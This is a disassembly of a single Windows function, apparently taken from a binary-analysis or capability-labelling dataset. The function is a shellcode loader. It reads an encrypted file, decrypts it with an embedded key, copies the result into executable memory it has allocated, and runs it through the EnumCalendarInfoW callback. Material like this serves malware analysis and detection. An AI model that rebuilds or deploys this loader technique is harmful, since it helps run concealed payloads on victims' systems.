Function at 0x140003424
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
lea rbp, [rax - 0xa8]
sub rsp, 0x1a0
mov rbx, rdx
cmp ecx, 2
je 0x140003491
lea rdx, str.Usage:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400010cc
mov rcx, rax
mov rdx, qword [rbx]
call fcn.1400010cc
mov rcx, rax
lea rdx, str.__encrypted_file_path_
call fcn.1400010cc
mov rcx, rax
lea rdx, [0x140001894]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x1400036b8
mov rdx, qword [rdx + 8]
lea rcx, [rsp + 0x58]
call fcn.140001b88
nop
mov ebx, 1
mov dword [rsp + 0x20], ebx
lea edi, [rbx + 0x3f]
mov r9d, edi
lea r8d, [rbx + 0x1f]
lea rdx, [rsp + 0x58]
lea rcx, [rbp - 0x70]
call fcn.140001a34
nop
lea rcx, [rbp - 0x70]
call fcn.140002918
test al, al
jne 0x140003504
lea rdx, str.Error:_Unable_to_open_file:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400010cc
mov rcx, rax
lea rdx, [rsp + 0x58]
call fcn.140001084
mov rcx, rax
lea rdx, [0x140001894]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400036a2
xor edx, edx
lea r8d, [rdx + 2]
lea rcx, [rbp - 0x70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
lea rdx, [rsp + 0x78]
lea rcx, [rbp - 0x70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____cdecl_std::basic_istream_char__struct_std::char_traits_char__::tellg_void____ptr64]
mov rcx, rax
call fcn.140001fdc
mov rsi, rax
xor r8d, r8d
xor edx, edx
lea rcx, [rbp - 0x70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
lea rcx, [rbp + 0xb0]
call fcn.140001490
mov r8, rax
mov rdx, rsi
lea rcx, [rsp + 0x40]
call fcn.140001c18
nop
lea rcx, [rsp + 0x40]
call fcn.14000288c
mov rdx, rax
mov r8, rsi
lea rcx, [rbp - 0x70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::read_char____ptr64__long_long___int64_____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
test al, al
je 0x1400035c6
lea rdx, str.Error:_Failed_to_read_file:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400010cc
mov rcx, rax
lea rdx, [rsp + 0x58]
call fcn.140001084
mov rcx, rax
lea rdx, [0x140001894]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp - 0x70]
call fcn.140002840
jmp 0x140003697
lea rcx, [rbp - 0x70]
call fcn.140002840
movsd xmm0, qword [str.kujghioauf]
movsd qword [rsp + 0x30], xmm0
movzx eax, word [0x1400056a8]
mov word [rsp + 0x38], ax
mov al, byte [0x1400056aa]
mov byte [rsp + 0x3a], al
lea rcx, [rsp + 0x40]
call fcn.14000288c
mov rcx, rax
mov r9d, 0xa
lea r8, [rsp + 0x30]
mov rdx, rsi
call fcn.14000323c
mov r9d, edi
mov r8d, 0x1000
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x140003654
lea rdx, str.Error:_Failed_to_allocate_memory
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400010cc
mov rcx, rax
lea rdx, [0x140001894]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140003697
lea rcx, [rsp + 0x40]
call fcn.14000288c
mov rdx, rax
mov r8, rsi
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
mov r9d, 0x15
or r8d, 0xffffffff
mov edx, 0x400
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor ebx, ebx
lea rcx, [rsp + 0x40]
call fcn.140001f2c
nop
lea rcx, [rbp - 0x70]
call fcn.140002058
nop
lea rcx, [rsp + 0x58]
call fcn.140001f00
mov eax, ebx
lea r11, [rsp + 0x1a0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret